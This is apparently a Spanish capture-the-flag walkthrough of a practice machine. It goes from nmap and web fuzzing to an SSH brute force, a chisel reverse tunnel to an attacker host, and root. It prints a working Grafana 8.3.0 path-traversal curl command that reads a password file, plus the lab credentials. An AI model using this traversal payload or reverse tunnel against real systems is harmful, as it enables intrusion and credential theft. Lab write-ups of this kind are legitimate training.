Hacemos el escaneo de nmap:
{{pasted_image_20240312144814.png|}}
Esto corre por el puerto 80:
{{pasted_image_20240312144844.png|}}
Hacemos fuzzing web de archivos, donde intentamos con la extensión .php:
{{pasted_image_20240312144919.png|}}
Dentro de este /penguin.php vemos el siguiente contenido, donde se nos saluda como el usuario pinguinito y se nos dice que dentro de esta máquina hay un contenedor de docker de grafana en su versión 8.3.0, así cómo un archivo database_pass.txt en el directorio /tmp del contenedor:
{{pasted_image_20240312145017.png|}}
Intentamos acceder por ssh mediante fuerza bruta con el usuario pinguinito, y encontramos la contraseña de love:
{{pasted_image_20240312145310.png|}}
Entramos vía SSH:
{{pasted_image_20240312145353.png|}}
Ejecutamos el comando hostname -I y vemos una segunda interfaz de red, que nos hace pensar que se trata de docker, tal y como se nos mostró en el puerto 80 de apache:
{{pasted_image_20240312145459.png|}}
Para entrar dentro de esta red y sacar los contenedores que haya en su interior, tenemos que usar chisel. Por lo que lo tenemos en la máquina atacante y lo compartimos con la máquina víctima:
{{pasted_image_20240312145627.png|}}
{{pasted_image_20240312145605.png|}}
Una vez hecho esto, nos ponemos en escucha a modo de servidor con chisel desde la máquina atacante:
./chisel server --reverse -p 1234
{{pasted_image_20240312145714.png|}}
Y nos conectamos desde el cliente pasando todo el tráfico a la máquina atacante:
./chisel client 192.168.0.20:1234 R:socks
{{pasted_image_20240312145747.png|}}
Ahora desde el navegador tenemos que indicar que el tráfico pase por el túnel:
{{pasted_image_20240312145824.png|}}
Así como asegurarnos de haber especificado dicho túnel en el archivo de configuración de Proxychains:
{{pasted_image_20240312145901.png|}}
De tal forma que si accedemos al puerto 3000 (que es donde corre grafana por defecto) y ponemos la IP 172.17.0.2 (ya que por defecto docker crea contenedores empezando por la IP .2, luego .3, etc), podremos acceder al grafana del contenedor:
{{pasted_image_20240312150024.png|}}
Esta versión de grafana es vulnerable a LFI, por lo que intentamos explotar esto leyendo el archivo database_pass.txt ubicado en el directorio /tmp, tal y como se nos indicó dentro del puerto 80:
proxychains curl 'http://172.17.0.2:3000/public/plugins/text/../../../../../../../../../../../../tmp/database_pass.txt' --path-as-is
Y obtenemos la contraseña de la base de datos:
supermegastrongpasswordpenguin
{{pasted_image_20240312150522.png|}}
Nos traemos la base de datos a nuestra máquina atacante:
{{pasted_image_20240312150637.png|}}
{{pasted_image_20240312150646.png|}}
La abrimos con keepass, por tanto primero vamos a instalar el cliente desde flatpak:
{{pasted_image_20240312150847.png|}}
Accedemos a las credenciales del usuario ballenasio:
ballenasio:secureballenasio
Y vemos que funcionan:
{{pasted_image_20240312151027.png|}}
Además, este usuario está dentro del grupo sudo, por lo que si volvemos a poner la misma contraseña ya llegamos a root:
{{pasted_image_20240312151100.png|}}